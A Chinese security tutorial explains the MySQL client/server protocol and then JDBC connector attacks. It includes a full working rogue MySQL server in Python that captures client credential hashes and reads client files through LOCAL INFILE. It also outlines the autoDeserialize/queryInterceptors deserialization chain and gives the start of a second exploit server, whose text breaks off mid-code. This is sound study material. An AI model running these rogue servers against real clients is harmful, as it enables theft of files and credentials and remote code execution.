首页 > 编程语言 >JAVA_JDBC(part one)

JAVA_JDBC(part one)

时间:2025-01-11 23:11:45浏览次数:1  
标签:JDBC JAVA x61 x65 x73 x5f part x00 x6f

MYSQL协议

mysql协议官方文档

mysql协议大体上分3部分

  • payload长度 (3字节)
  • 序列ID(1字节)
  • payload包长度

握手

这一阶段主要

  • 交换客户端和服务器的能力
  • 判断是否需要使用SSL
  • 对客户端进行验证

服务端挥手

从 3.21.0 开始,使用Protocol::HandshakeV10

数据结构如下

  • 1字节 协议版本,使用v10,所以这个字段值总是10

  • 0字节 结尾的字符串形式的服务端版本信息

  • 4字节线程id(连接id?)

  • 8字节 字符串形式 认证插件提供数据的前 8 个字节

  • 1字节 填充

  • 2字节 能力标识位第一部分

    • CLIENT_LONG_PASSWORD 使用改进的身份认证版本

    • CLIENT_FOUND_ROWS 发送 EOF_Packet 中找到的行而不是受影响的行

    • CLIENT_LONG_FLAG 获取所有的列标识,对于服务端,即支持更长的标志。

    • CLIENT_CONNECT_WITH_DB 数据库(模式)名称可以在连接时在握手响应数据包中指定

    • CLIENT_NO_SCHEMA 不允许使用 database.table.column

    • CLIENT_COMPRESS 支持压缩

    • CLIENT_ODBC ODBC 行为的特殊处理。

    • CLIENT_LOCAL_FILES 可以使用LOAD DATA LOCAL。服务端即,启用 LOAD DATA|XML 的 LOCAL INFILE 请求。客户端即,将处理 LOCAL INFILE 请求

    • CLIENT_IGNORE_SPACE 忽略(之前的空格

    • CLIENT_PROTOCOL_41 支持(服务端)或使用(客户端)4.1协议

    • CLIENT_INTERACTIVE 支持交互式和非交互式客户端(服务端)或表示交互式(客户端)

    • CLIENT_SSL 支持SSL(服务端)或使用SSL(客户端)

    • CLIENT_IGNORE_SIGPIPE 如果发生网络故障,不要发出 SIGPIPE(仅客户端标识)

    • CLIENT_TRANSACTIONS 在 OK_Packet / EOF_Packet 中发送状态标志(服务端)或需要 OK_Packet / EOF_Packet 中的状态标志(客户端)

    • CLIENT_RESERVED 4.1 协议的旧标志

    • CLIENT_RESERVED2 :4.1 身份验证或安全连接的旧标志

  • 1字节 服务端字符集

  • 2字节 状态标识位

    • SERVER_STATUS_IN_TRANS 当多语句事务已启动时引发
    • SERVER_STATUS_AUTOCOMMIT 服务器处于自动提交模式
    • SERVER_MORE_RESULTS_EXISTS 多查询 - 存在下一个查询
    • (More Results ...)
    • SERVER_QUERY_NO_GOOD_INDEX_USED
    • SERVER_QUERY_NO_INDEX_USED
    • SERVER_STATUS_CURSOR_EXISTS 服务器能够满足客户端请求并打开只读不可滚动游标进行查询
    • SERVER_STATUS_LAST_ROW_SENT 只读游标耗尽
    • SERVER_STATUS_DB_DROPPED 数据库被删除
    • SERVER_STATUS_NO_BACKSLASH_ESCAPES 没用反斜杠转义?
    • SERVER_STATUS_METADATA_CHANGED 在预处理(prepared )的语句重新prepare之后,发现新语句返回不同数量的结果集列。
    • SERVER_QUERY_WAS_SLOW 查询过慢
    • SERVER_PS_OUT_PARAMS 标记包含输出参数值的 ResultSet
    • SERVER_STATUS_IN_TRANS_READONLY 如果启动的多语句事务是只读事务,则与SERVER_STATUS_IN_TRANS 同时设置
    • SERVER_SESSION_STATE_CHANGED 服务器上的状态信息之一由于执行了最后一条语句而发生了更改。
  • 2字节 能力标识位第二部分

    • 启用/禁用多 stmt 支持。 每个 COM_QUERY 和 COM_STMT_PREPARE 可以处理多个语句(服务端)或可以为每个 COM_QUERY 和 COM_STMT_PREPARE 发送多个语句(客户端)
    • 启用/禁用多结果。对于服务端,可以发送 COM_QUERY 的多个结果集,如果服务器需要发送它们而客户端不支持它们,则会出错。对于客户端表示是否可以处理 COM_QUERY 的多个结果集
    • CLIENT_PS_MULTI_RESULTS 对于服务端,可发送 COM_STMT_EXECUTE 的多个结果集。对于客户端,可处理COM_STMT_EXECUTE 的多个结果集
    • CLIENT_PLUGIN_AUTH。 Server: 在初始握手数据包中发送额外数据并支持可插拔身份验证协议。Client: 支持身份验证插件
    • CLIENT_CONNECT_ATTRS。 Server: 允许握手响应中的连接属性。Client: 在握手响应中发送连接属性。
    • CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA。当更改默认插件的功能要求 Protocol::HandshakeResponse41 paclet 中的初始密码字段可以任意大小时,4.1协议客户端发送到服务器的auth-data-field的长度限制为255字节,客户端需要标识该字段,并将相关字段的类型更改为真实长度编码字符串。
    • CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS Server: 支持过期密码扩展。Client: 可以处理过期的密码
    • CLIENT_SESSION_TRACK Server:可以在状态标识位中设置 SERVER_SESSION_STATE_CHANGED并在 OK_Packet 中发送会话状态信息. Client:期望服务器在 OK_Packet 中发送会话状态信息。
    • CLIENT_DEPRECATE_EOF Server: 可以在文本结果集之后发送 OK Client:在文本结果集的结果集行之后需要 OK_Packet(而不是 EOF_Packet)。
    • CLIENT_OPTIONAL_RESULTSET_METADATA 表明客户端可以处理结果集中的可选元数据信息。
    • CLIENT_ZSTD_COMPRESSION_ALGORITHM 此功能标志用于在客户端和服务器之间发送 zstd 压缩级别,前提是客户端和服务器都启用了此标志。
    • CLIENT_QUERY_ATTRIBUTES。支持将查询参数可选扩展至 COM_QUERY 和 COM_STMT_EXECUTE 数据包中
    • MULTI_FACTOR_AUTHENTICATION 支持多因素身份验证。Server: 除最后一个因素认证外,每第 n 个因素认证方法成功后,服务器都会发送 AuthNextFactor 数据包。Client: 客户端读取服务器发送的AuthNextFactor数据包并启动下一个因素身份验证方法
    • CLIENT_CAPABILITY_EXTENSION 该标志将被保留以将 32 位功能结构扩展到 64 位。
    • CLIENT_SSL_VERIFY_SERVER_CERT (仅客户端)验证服务器证书
    • CLIENT_REMEMBER_OPTIONS (仅客户端)连接失败后请勿重置选项

    如果CLIENT_PLUGIN_AUTH flag为1

    • 1字节 auth_plugin_data_len 。 如果 auth_plugin_data_len > 0,结合uth_plugin_data的长度

    否则

    • 1字节的 00字节常量

    • 10字节的 保留位

    • MAX(13, auth-plugin-data_len - 8) 字节的 认证插件剩余部分的数据

    • 0字节结尾认证插件名称

实例

image-20241222163203621

客户端握手响应

客户端响应有两个格式,Protocol::HandshakeResponse320[Protocol::HandshakeResponse41]

旧客户端使用的旧握手响应数据包,或者服务器不支持 CLIENT_PROTOCOL_41 功能标志标志

HandshakeResponse320

  • 2字节 客户端能力标识
  • 3字节 最大数据包大小
  • 0字节结尾的字符串 登录用户名

如果CLIENT_CONNECT_WITH_DB为1

  • 0字节结尾的字符串 授权响应,内容为由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。
  • 0字节结尾的字符串 数据库名称 使用字符集字段指示的字符集来解释该字符串。

否则

  • 只有授权响应字段

HandshakeResponse41

  • 4字节 客户端能力标识
  • 4字节 最大数据包大小
  • 1字节 客户端字符集
  • 23字节 0字节填充
  • 0字节结尾字符串 登录用户名

如果CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA为1

  • 授权响应 ,由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。

否则

  • 1字节 auth_response 的长度
  • 授权响应 ,由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。

如果 CLIENT_CONNECT_WITH_DB为1

  • 0字节结尾字符串 数据库名称

如果 CLIENT_PLUGIN_AUTH 为1

  • 0字节结尾的字符串,客户端插件名称。客户端用于在此数据包中生成身份验证响应值的身份验证方法(UTF-8 字符串)。

如果 CLIENT_CONNECT_ATTRS为1

  • 所有键值的长度
  • 键长 键名 值长 值名
  • ....
实例

image-20241222165637054

mysql_native_password

import hashlib

def calculate_response(password:str, salt:str):
    sh1 = hashlib.sha1(password.encode("utf-8")).digest()
    sh2 = hashlib.sha1(sh1).digest()
    sh3 = hashlib.sha1()
    sh3.update(salt.encode("utf-8"))
    sh3.update(sh2)
    response = bytes(a ^ b for a, b in zip(hashlib.sha1(password.encode("utf-8")).digest(), sh3.digest()))
    print(response.hex())
password = "password"
#20字节salt
salt = "\x01\x0d\x79\x67\x42\x18\x3e\x1a\x66\x29\x7c\x21\x0e\x1a\x4c\x01\x45\x6b\x51\x0d"
response = calculate_response(password, salt)

在4.1-5.7服务器和客户端默认的认证方法是mysql_native_password,在8.0服务器和客户端中,默认的身份验证方法是Caching_sha2_password信息,在 9.0 服务器中,mysql_native_password 已从服务器代码中删除。出于兼容性原因,它仍然存在于客户端,但它从内置形式转换为共享形式。

返回包

三种类型,OK_Packet,ERR_Packet,EOF_Packet。从 MySQL 5.7.5 开始,OK 数据包也用于指示 EOF,EOF 数据包已被弃用

OK_Packet

  • 1字节 header 表示返回包类型 0x00或0xEF
  • 1~8字节 affected_rows 表示受影响的行数
  • 1~8字节 last_insert_id 表示最后插入的id

如果 CLIENT_PROTOCOL_41 为1

  • 2字节 服务端状态标识
  • 2字节 警告的次数

如果 CLIENT_TRANSACTIONS 为 1

  • 2字节 服务状态标识符

如果 CLIENT_SESSION_TRACK为 1

  • 状态信息

如果 SERVER_SESSION_STATE_CHANGED

  • 会话状态信息

否则

  • 人类可读的状态信息

ERR_Packet

  • 1字节 header 0xFF
  • 2字节 错误码

如果支持41协议

  • 1字节字符串 SQL状态标记

  • 5字节字符串 SQL state

  • 0字节结尾的字符串,可读的错误消息error_message

EOF_Packet

和OK_Packetd大致一样。

COM_QUERY

  • 1字节 命令 0x03 表示 COM_QUERY

如果设置 CLIENT_QUERY_ATTRIBUTES

  • 参数个数

  • 参数集数量

  • 如果参数个数>0

    • NULL位图,长度= (num_params + 7) / 8
    • 新参数绑定标志。 总是1
    • 如果new_params_bind_flag为1,遍历parameter
      • 2字节 参数类型和标志。参数类型,MSB 保留用于无符号标志
      • 参数名称,字符串类型
    • 参数值 (二进制协议值)
  • query 查询字符串 ,要执行的 SQL 查询的文本。

image-20241222223423893

/* mysql-connector-j-9.1.0 (Revision: cf2917ea44ae2e43a4514a33771035aa99de73bf) */
SELECT  @@session.auto_increment_increment AS auto_increment_increment, 
        @@character_set_client AS character_set_client, 
        @@character_set_connection AS character_set_connection, 
        @@character_set_results AS character_set_results, 
        @@character_set_server AS character_set_server, 
        @@collation_server AS collation_server, 
        @@collation_connection AS collation_connection, 
        @@init_connect AS init_connect, 
        @@interactive_timeout AS interactive_timeout, 
        @@license AS license, 
        @@lower_case_table_names AS lower_case_table_names, 
        @@max_allowed_packet AS max_allowed_packet, 
        @@net_write_timeout AS net_write_timeout, 
        @@performance_schema AS performance_schema, 
        @@query_cache_size AS query_cache_size, 
        @@query_cache_type AS query_cache_type, 
        @@sql_mode AS sql_mode, 
        @@system_time_zone AS system_time_zone,
        @@time_zone AS time_zone, 
        @@transaction_isolation AS transaction_isolation, 
        @@wait_timeout AS wait_timeout

COM_QUERY Response

请求响应包可以是以下4种包种的一个

  • ERR_PACKET
  • OK_PACKET
  • TEXT_Resultset
  • LOCAL INFILE Request

ERR_PACKET 和 OK_PACKET略,主要看TEXT_Resultset和LOCAL INFILE Request

TEXT_Resultset

由两部分组成

  • 列定义(或者叫元数据)
  • 实际行数(actual rows)

列定义以包含列计数的数据包开始,后面跟着与列数一样多的列定义数据包

如果 CLIENT_OPTIONAL_RESULTSET_METADATA 为1

  • 1字节 指定是否跳过元数据的标志

  • column_count 要遵循的列定义数

  • if (not (capabilities & CLIENT_OPTIONAL_RESULTSET_METADATA)) or metadata_follows == RESULTSET_METADATA_FULL

  • column_count * 列定义 个字节的字段元数据。每个字段有一个列定义,最多为column_count

  • 如果CLIENT_DEPRECATE_EOF为0

    • 使用EOF_PacketEOF_数据包,标识数据元结束
  • 一个或多个文本结果集行,即The row data ,每个文本结果集行包含column_count值

  • 存在错误

    • 发送ERR_Packet 数据包
  • CLIENT_DEPRECATE_EOF 为1

    • 发送OK_Packet 数据包
  • 都不符合

    • 使用EOF_Packet 数据包

实例

Packet Length为除了packet信息的包长度,Packet Number为包序列号,column count中的Number fields表示接下来有21个packet

image-20241223122424068

下面便是21个列定义包

Column Definition

数据结构如下

  • catalog 通常来说都是def
  • schema ,数据库名称
  • virtual talble name,虚表名称
  • orinial name,真实表名
  • virtual common name,虚列名
  • original column name,真实列名
  • 固定的 0x0c
  • chatset number 列字符集
  • length 字段的最大长度
  • type,enum_field_types 中定义的列类型
  • column Definition Flags
  • NOT_NULL_FLAG 字段不能为空
  • PRI_KEY_FLAG 字段是主键的一部分
  • UNIQUE_KEY_FLAG 字段是唯一键的一部分
  • MULTIPLE_KEY_FLAG 字段是键的一部分
  • BLOB_FLAG 字段为字段是blob
  • UNSIGNED_FLAG 字段是无符号的
  • ZEROFILL_FLAG 字段为零填充
  • BINARY_FLAG 字段是二进制数据
  • ENUM_FLAG 字段为枚举类型
  • AUTO_INCREMENT_FLAG 自增字段
  • TIMESTAMP_FLAG 字段是时间戳
  • SET_FLAG 字段为集合
  • NO_DEFAULT_VALUE_FLAG 字段无默认值
  • ON_UPDATE_NOW_FLAG 字段在UPDATE时设置为 NOW
  • NUM_FLAG 字段为num(对于客户端)
  • PART_KEY_FLAG Part of some key. ?
  • GROUP_FLAG group字段
  • UNIQUE_FLAG 由 sql_yacc 使用
  • BINCMP_FLAG 由 sql_yacc 使用
  • GET_FIXED_FIELDS_FLAG 用于获取项目树中的字段
  • FIELD_IN_PART_FUNC_FLAG 分区函数的字段部分
  • FIELD_IN_ADD_INDEX TABLE 对象中的字段,用于表示已更改表格的新版本,它参与了新添加的索引
  • FIELD_IS_RENAMED 字段正被重命名
  • FIELD_FLAGS_STORAGE_MEDIA 字段存储媒介(?), bit 22-23.
  • FIELD_FLAGS_STORAGE_MEDIA_MASK
  • FIELD_FLAGS_COLUMN_FORMAT 字段列格式,位 24-25。
  • FIELD_FLAGS_COLUMN_FORMAT_MASK
  • FIELD_IS_DROPPED 字段正在被删除。
  • EXPLICIT_NULL_FLAG 字段由用户显式指定为NULL。
  • NOT_SECONDARY_FLAG 字段将不会载入二级引擎。
  • FIELD_IS_INVISIBLE 字段被用户明确标记为不可见
  • decimals 最大显示小数位数: 0x00 表示整数和静态字符串 0x1f 表示动态字符串、双精度、浮点 0x00 到 0x51为小数

The row Packet

21个列的查询结果,以及一个EOF_Packet

image-20241223144543536

LOCAL INFILE Request

LOCAL 关键字触发服务器设置 LOCAL INFILE 请求数据包,要求客户端通过 LOCAL INFILE 数据响应发送文件

LOCAL INFILE数据包格式比较简单,一字节0xfb,为packet表示符。后面紧跟着文件名,表示客户端应发送的文件的路径。

image-20241223163129067

客户端会将文件内容放在payload字段,然后再发一个空的packet表示结束

image-20241223163217736

mysql_server 恶意文件读取就是在LOCAL INFILE Request阶段指定文件名,让client发过来。

注意需要客户端设置允许LoadLocalInfile,在mysql驱动中要设置 allowLoadLocalInfile=true

evil_mysql

import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
import sys
class ColorOutput:
    """颜色输出类,用于输出不同颜色的提示信息"""
    # 前景色
    FG_BLACK = "\033[30m"
    FG_RED = "\033[31m"  
    FG_GREEN = "\033[32m"
    FG_YELLOW = "\033[33m"
    FG_BLUE = "\033[34m"
    FG_MAGENTA = "\033[35m"
    FG_CYAN = "\033[36m"
    FG_WHITE = "\033[37m"
    

    
    # 样式
    RESET = "\033[0m"
    BOLD = "\033[1m"
    
    @staticmethod
    def success(text):
        """成功信息-绿色"""
        return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"
    
    @staticmethod 
    def warning(text):
        """警告信息-黄色"""
        return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"
        
    @staticmethod
    def error(text):
        """错误信息-红色"""
        return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"
        
    @staticmethod
    def info(text):
        """普通信息-蓝色"""
        return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"
        
    @staticmethod
    def debug(text):
        """调试信息-紫色"""
        return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"

class Greeting:
    def __init__(self):
        self.package_length = b"\x4a\x00\x00"
        self.packet_id = b"\x00"
        self.protocol_version = b"\x0a"
        self.server_version = b"5.7.26\x00"
        self.connection_id = b"\x06\x00\x00\x00"
        self.auth_plugin_data = b"\xff"*8 + b"\x00"
        self.capability_flags = b"\xff\xf7"
        self.character_set = b"\xc0"
        self.status_flags = b"\x02\x00"
        self.capability_flags_2 = b"\xff\x81"
        self.auth_plugin_data_len = b"\x15"
        self.reserved = b"\x00"*10
        self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
        self.auth_plugin_name = b"mysql_native_password\x00"
    def to_bytes(self):
        return b"".join([
            self.package_length,
            self.packet_id,
            self.protocol_version,
            self.server_version,
            self.connection_id,
            self.auth_plugin_data,
            self.capability_flags,
            self.character_set,
            self.status_flags,
            self.capability_flags_2,
            self.auth_plugin_data_len,
            self.reserved,
            self.auth_plugin_data_part_2,
            self.auth_plugin_name
        ])

class Local_INFILE_Request:
    def __init__(self,filename):
        self.packet_id = b"\x01"
        self.response_code = b"\xfb"
        self.filename = filename.encode()
        self.res = b"".join([self.response_code,self.filename])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body

class Auth_Response:
    def __init__(self):
        self.packet_id = b"\x02"
        self.response_code = b"\x00"  # OK
        self.affected_rows = b"\x00\x00"
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body

def get_bits(hex_value):
    # 将16进制字符串转换为整数
    num = int(hex_value, 16)
    # 获取该数的二进制表示(去掉前缀 '0b')
    bin_representation = bin(num)[2:].zfill(4)  # 使用zfill补齐到8位
    # 返回每一位的比特值
    bits = [int(bit) for bit in bin_representation]
    return bits

def Greeting_Response_Prase(data):
    print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)

    cpos =0
    client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
    # print(get_bits(client_capability_flags[-1]))
    haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
    cpos += 2
    extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
    cpos += 2
    max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
    print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)
    
    cpos += 4
    character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
    print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)
    
    cpos += 1
    client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
    print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)
    
    cpos += 23
    data = data[cpos:]
    null_pos = data.find(b"\x00")
    print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)
  
    ccpos = 0
    ccpos += null_pos + 1
    client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
    print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)
  
    ccpos += 1
    client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
    print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
    ccpos += client_password_hash_len
    data = data[ccpos:]
    if haveTable:
        client_table_name_len = data.find(b"\x00")
        client_table_name = data[:client_table_name_len].decode("utf-8")
        print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
        ccpos = client_table_name_len + 1
        data = data[ccpos:]
        

    client_auth_plugin_name_len  = data.find(b"\x00")
    client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
    print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
    cccpos = client_auth_plugin_name_len +1
    client_connection_attributes_len =  struct.unpack("<B",data[cccpos:cccpos+1])[0]    
    print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
    cccpos += 1
    client_connection_attributes = data[cccpos:]
    arrtibute_prase(client_connection_attributes,client_connection_attributes_len)

def arrtibute_prase(data,length):
    cpos = 0
    while cpos < length:
        attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
        cpos += 1
        attribute_value = data[cpos:cpos+attribute_length]
        print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
        cpos += attribute_length



def read_mysql_packet(sock):
    """读取一个完整的 MySQL 数据包"""
    # 读取包头(4字节)
    header = sock.recv(4)
    if not header or len(header) < 4:
        return None
    
    # 前3字节是包长度(小端序)
    packet_length = int.from_bytes(header[:3], byteorder='little')
    print(ColorOutput.info(str("请求包长度:"+str(packet_length))))    
    # 第4字节是序列号
    sequence_id = header[3]
    
    # 读取包体
    packet_body = b""
    remaining = packet_length
    while remaining > 0:
        chunk = sock.recv(remaining)
        if not chunk:
            return None
        packet_body += chunk
        remaining -= len(chunk)
    
    return packet_body

def handle_client(client_socket,filename):
    try:
        client_socket.sendall(Greeting().to_bytes())
            
            # 读取客户端的认证响应包
        auth_response = read_mysql_packet(client_socket)
        if auth_response:
                try:
                    Greeting_Response_Prase(auth_response)
                except Exception as e:
                    print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)   
                client_socket.sendall(Auth_Response().to_bytes())
                file_data = read_mysql_packet(client_socket)
                print(ColorOutput.info(str("查询语句:"+str(file_data))),flush=True)
                client_socket.sendall(Local_INFILE_Request(filename).to_bytes())
                file_data = read_mysql_packet(client_socket)
                print(ColorOutput.warning(str("文件数据:"+str(file_data))),flush=True)
    except Exception as e:
        print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
    finally:
        client_socket.close()

def client_handler(server,filename):
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            try:
                client_socket, addr = server.accept()
                executor.submit(handle_client, client_socket,filename)
            except: 
                # 当server socket被关闭时,退出循环
                break

def start_server(port,filename):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    print("Server listening on port 3306")
    
    handler_thread = threading.Thread(target=client_handler, args=(server,filename))
    handler_thread.daemon = True
    handler_thread.start()
    
    try:
        while True:
            time.sleep(10)
            # print("Server is running")
    except KeyboardInterrupt:
        print("\nCtrl+C pressed")
        server.close()
        print("Server shutting down")
        

if __name__ == "__main__":
    start_server(3306,"C:/flag")

image-20250107181018021

JDBC Attack

jdbc attack 主要关注点也是在连接参数上

Mysql Connector

MYSQL 连接属性

allowLoadLocalInfile

如上面evil_mysql,略

在文档中可以到,除了allowLoadLocalInfile之外,还有 allowUrlInLocalInfile,允许"LOAD DATA LOCAL INFILE" 语句中的 URL。也就是可以达到有回显ssrf的效果

image-20250107183014753

autoDeserialize

autoDeserialize参数会自动反序列化服务端返回的参数,造成反序列化漏洞

该参数在mysql驱动8.1.0提出弃用,在8.2.0正式弃用

在最新的mysql驱动文档中已经删除了autoDeserialize参数相关信息,但在wayback Machine中可以找到相关信息

image-20250108135106002

queryInterceptors

com.mysql.cj.jdbc.result.ResultSetImpl是在mysql中实现了java.sql.ResultSet的类,其getObject方法

在autoDeserialize为true时会反序列化数据。

image-20250110102049007

但默认情况下不会调用该函数,我们需要在连接参数中找到一个可以触发该函数的参数。

最终发现的参数是queryInterceptors

image-20250110102431671

以逗号分隔的类列表,这些类实现“com.mysql.cj.interceptors.QueryInterceptor”,拦截查询执行并能够影响结果。查询迭代器是可链接的:当前拦截器返回的结果将按照此属性中指定的顺序从左到右传递到链中的下一个拦截器

com.mysql.cj.interceptors.QueryInterceptor 接口定义的preProcess和postProcess分别在查询执行前后执行

该接口的实现类有

image-20250110102633392

ServerStatusDiffInterceptor类中的相关接口实现都会调用,执行SHOW SESSION STATUS然后调用ResultSetUtil.resultSetToMap

image-20250110103734367

ResultSetUtil.resultSetToMap调用了ResultSet类的getObject方法,最终实现了反序列化攻击(可以看到这里获取了两个字段的信息)

image-20250110103753134

所以当客户端连接参数为 autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

服务端针对SHOW SESSION STATUS查询语句返回恶意对象即可实现反序列化攻击。我们将上面文件读取的脚本做适当修改。

import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
from enum import Enum
import subprocess

class FieldType(Enum):
  MYSQL_TYPE_DECIMAL = 0,
  MYSQL_TYPE_TINY = 1,
  MYSQL_TYPE_SHORT = 2,
  MYSQL_TYPE_LONG = 3,
  MYSQL_TYPE_FLOAT = 4,
  MYSQL_TYPE_DOUBLE = 5,
  MYSQL_TYPE_NULL = 6,
  MYSQL_TYPE_TIMESTAMP = 7,
  MYSQL_TYPE_LONGLONG = 8,
  MYSQL_TYPE_INT24 = 9,
  MYSQL_TYPE_DATE = 10,
  MYSQL_TYPE_TIME = 11,
  MYSQL_TYPE_DATETIME = 12,
  MYSQL_TYPE_YEAR = 13,
  MYSQL_TYPE_NEWDATE = 14,
  MYSQL_TYPE_VARCHAR = 15,
  MYSQL_TYPE_BIT = 16,
  MYSQL_TYPE_TIMESTAMP2 = 17,
  MYSQL_TYPE_DATETIME2 = 18,
  MYSQL_TYPE_TIME2 = 19,
  MYSQL_TYPE_TYPED_ARRAY = 20,
  MYSQL_TYPE_VECTOR = 242,
  MYSQL_TYPE_INVALID = 243,
  MYSQL_TYPE_BOOL = 244,
  MYSQL_TYPE_JSON = 245,
  MYSQL_TYPE_NEWDECIMAL = 246,
  MYSQL_TYPE_ENUM = 247,
  MYSQL_TYPE_SET = 248,
  MYSQL_TYPE_TINY_BLOB = 249,
  MYSQL_TYPE_MEDIUM_BLOB = 250,
  MYSQL_TYPE_LONG_BLOB = 251,
  MYSQL_TYPE_BLOB = 252,
  MYSQL_TYPE_VAR_STRING = 253,
  MYSQL_TYPE_STRING = 254,
  MYSQL_TYPE_GEOMETRY = 255

class QueryType(Enum):
    SLEEP = b"\x00"
    QUIT = b"\x01"
    INIT_DB = b"\x02"
    QUERY = b"\x03"
    FIELD_LIST = b"\x04"
    CREATE_DB = b"\x05"
    DROP_DB = b"\x06"
    REFRESH = b"\x07"
    SHUTDOWN = b"\x08"
    STATISTICS = b"\x09"
    PROCESS_INFO = b"\x0a"
    CONNECT = b"\x0b"
    PROCESS_KILL = b"\x0c"
    DEBUG = b"\x0d"
    PING = b"\x0e"
    TIME = b"\x0f"
    DELAYED_INSERT = b"\x10"
    CHANGE_USER = b"\x11"
    BINLOG_DUMP = b"\x12"
    TABLE_DUMP = b"\x13"
    CONNECT_OUT = b"\x14"
    REGISTER_SLAVE = b"\x15"
    STMT_PREPARE = b"\x16"
    STMT_EXECUTE = b"\x17"
    STMT_SEND_LONG_DATA = b"\x18"
    STMT_CLOSE = b"\x19"
    STMT_RESET = b"\x1a"
    SET_OPTION = b"\x1b"
    STMT_FETCH = b"\x1c"
    DAEMON = b"\x1d"
    BINLOG_DUMP_GTID = b"\x1e"
    RESET_CONNECTION = b"\x1f"

class ColorOutput:
    """颜色输出类,用于输出不同颜色的提示信息"""
    # 前景色
    FG_BLACK = "\033[30m"
    FG_RED = "\033[31m"
    FG_GREEN = "\033[32m"
    FG_YELLOW = "\033[33m"
    FG_BLUE = "\033[34m"
    FG_MAGENTA = "\033[35m"
    FG_CYAN = "\033[36m"
    FG_WHITE = "\033[37m"



    # 样式
    RESET = "\033[0m"
    BOLD = "\033[1m"

    @staticmethod
    def success(text):
        """成功信息-绿色"""
        return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"

    @staticmethod
    def warning(text):
        """警告信息-黄色"""
        return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"

    @staticmethod
    def error(text):
        """错误信息-红色"""
        return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"

    @staticmethod
    def info(text):
        """普通信息-蓝色"""
        return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"

    @staticmethod
    def debug(text):
        """调试信息-紫色"""
        return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"

class Greeting:
    def __init__(self):
        self.package_length = b"\x4a\x00\x00"
        self.packet_id = b"\x00"
        self.protocol_version = b"\x0a"
        self.server_version = b"5.7.26\x00"
        self.connection_id = b"\x06\x00\x00\x00"
        self.auth_plugin_data = b"\xff"*8 + b"\x00"
        self.capability_flags = b"\xff\xf7"
        self.character_set = b"\xc0"
        self.status_flags = b"\x02\x00"
        self.capability_flags_2 = b"\xff\x81"
        self.auth_plugin_data_len = b"\x15"
        self.reserved = b"\x00"*10
        self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
        self.auth_plugin_name = b"mysql_native_password\x00"
    def to_bytes(self):
        return b"".join([
            self.package_length,
            self.packet_id,
            self.protocol_version,
            self.server_version,
            self.connection_id,
            self.auth_plugin_data,
            self.capability_flags,
            self.character_set,
            self.status_flags,
            self.capability_flags_2,
            self.auth_plugin_data_len,
            self.reserved,
            self.auth_plugin_data_part_2,
            self.auth_plugin_name
        ])

class Local_INFILE_Request:
    def __init__(self,filename):
        self.packet_id = b"\x01"
        self.response_code = b"\xfb"
        self.filename = filename.encode()
        self.res = b"".join([self.response_code,self.filename])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
